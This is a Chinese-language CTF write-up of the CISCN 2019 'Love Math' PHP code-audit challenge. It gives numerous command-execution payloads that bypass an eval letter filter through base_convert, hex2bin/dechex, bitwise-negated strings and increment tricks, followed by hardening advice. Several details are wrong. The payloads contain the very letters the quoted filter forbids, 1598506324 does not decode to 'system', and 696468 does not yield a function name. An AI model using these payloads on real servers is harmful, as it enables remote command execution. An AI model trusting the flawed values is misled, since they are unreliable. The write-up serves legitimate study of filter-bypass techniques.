PHP代码审计:利用进制转换绕过过滤实现命令执行

发布时间:2026/10/27 20:59:18
PHP代码审计:利用进制转换绕过过滤实现命令执行

1. 题目背景与核心考点解析

[CISCN 2019 初赛]Love Math是一道经典的PHP代码审计题目,主要考察选手对PHP弱类型比较、进制转换函数以及字符串动态执行的深入理解。题目要求通过构造特定的数学表达式,绕过过滤机制实现命令执行。

这道题的核心在于利用PHP的以下特性:

  • base_convert()函数实现数字与字符串的转换
  • hex2bin()和dechex()的进制转换特性
  • PHP动态执行字符串的特性(如$c($d)形式的可变函数调用)

2. 题目源码分析与过滤机制

根据历年CISCN赛事资料,我们可以还原出题目的大致源码结构:

<?php error_reporting(0); if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $c = $_GET['c']; if(!preg_match('/[a-zA-Z]/is', $c)){ @eval("$c"); }else{ die("非法字符!"); } } ?>

过滤规则的关键点:

  1. 禁止出现任何大小写字母
  2. 允许数字和部分特殊符号
  3. 通过eval动态执行输入的表达式

3. 利用进制转换构造payload

3.1 核心思路:无字母命令执行

由于直接使用函数名会被过滤,我们需要通过以下步骤构造payload:

  1. 将函数名转换为纯数字形式
  2. 在运行时将数字转换回可执行的函数名
  3. 组合参数实现命令执行

3.2 具体实现步骤

步骤1:选择目标函数

我们需要执行系统命令,常见选择:

  • system()
  • exec()
  • shell_exec()

以system为例,我们需要将其转换为纯数字形式。

步骤2:字符串到数字的转换

使用base_convert()函数:

$f = base_convert('system', 36, 10); // 将'system'从36进制转为10进制 echo $f; // 输出:1751504350
步骤3:数字还原为函数名
$f = base_convert(1751504350, 10, 36); // 将数字转回36进制 echo $f; // 输出:system
步骤4:组合完整payload

最终构造的GET参数:

?c=$_=base_convert(1751504350,10,36);$_($_GET[1]);&1=whoami

分解说明:

  1. $=base_convert(1751504350,10,36) → $="system"
  2. $_($_GET[1]) → system($_GET[1])
  3. &1=whoami → 传入执行的命令

4. 替代方案与进阶技巧

4.1 使用hex2bin+dechex组合

另一种实现方式:

$f = hex2bin(dechex(1598506324)); // 1598506324是'system'的十进制表示

对应payload:

?c=$_=hex2bin(dechex(1598506324));$_($_GET[1]);&1=ls

4.2 直接构造函数调用

更简洁的payload构造:

?c=(base_convert(1751504350,10,36))($_GET[1]);&1=id

4.3 利用PHP短标签

某些环境下可以使用:

?c=<?=`$_GET[1]`?>&1=whoami

5. 防御方案与安全建议

5.1 代码层面防御

  1. 严格过滤所有输入参数
if(preg_match('/[a-z0-9]/i', $c)){ die("非法输入!"); }
  1. 禁用危险函数
ini_set('disable_functions', 'system,exec,shell_exec,passthru');

5.2 系统层面防护

  1. 配置open_basedir限制目录访问
  2. 设置安全的php.ini配置
  3. 使用Docker等容器技术进行隔离

6. 相关函数深度解析

6.1 base_convert()详解

string base_convert ( string $number , int $frombase , int $tobase )
  • 支持2-36进制转换
  • 最大支持36进制(a-z表示10-35)
  • 转换精度受限于系统环境

6.2 hex2bin()与dechex()

string hex2bin ( string $data ) string dechex ( int $number )
  • hex2bin将16进制字符串转换为二进制数据
  • dechex将10进制数转换为16进制字符串
  • 组合使用可实现数字到字符串的转换

7. 实战演练与测试用例

7.1 测试环境搭建

docker run -d -p 8080:80 --name ctf php:7.2-apache echo '<?php eval($_GET["c"]);?>' > /var/www/html/index.php

7.2 测试payload集

  1. 查看当前用户
?c=$_=base_convert(1751504350,10,36);$_($_GET[1]);&1=whoami
  1. 列出目录文件
?c=(hex2bin(dechex(1598506324)))($_GET[1]);&1=ls+-la
  1. 读取系统信息
?c=$_=base_convert(696468,10,36);$_($_GET[1]);&1=uname+-a

8. 常见问题排查

8.1 payload不生效的可能原因

  1. PHP版本差异(不同版本进制转换结果可能不同)
  2. 魔术引号开启导致引号被转义
  3. 安全模块拦截(如disable_functions)

8.2 调试技巧

  1. 先测试简单数学表达式确认eval可用
?c=phpinfo();
  1. 逐步构建payload组件
  2. 使用var_dump输出中间结果

9. 同类题型扩展

9.1 无数字字母webshell

利用PHP的位运算和特殊符号构造:

?c=~%8C%86%8C%8B%9A%92($_GET[1]);&1=ls

9.2 限制更严格的场景

当仅允许数字和少量符号时:

?c=$_=1;$_=++$_;$__=++$_;$___=++$_;$____=++$_;$_=_.$__.$___.$____;$_($_GET[1]);&1=whoami

10. PHP安全编程建议

  1. 永远不要直接使用eval执行用户输入
  2. 使用白名单而非黑名单进行过滤
  3. 对系统命令执行进行严格的参数校验
  4. 定期更新PHP版本修复已知漏洞
  5. 使用专业的代码审计工具检查安全隐患

在实际开发中,应当避免使用eval、system等危险函数,必要时可以使用escapeshellarg等函数对参数进行严格过滤。对于必须使用动态执行的场景,建议使用call_user_func等更安全的替代方案,并配合严格的权限控制。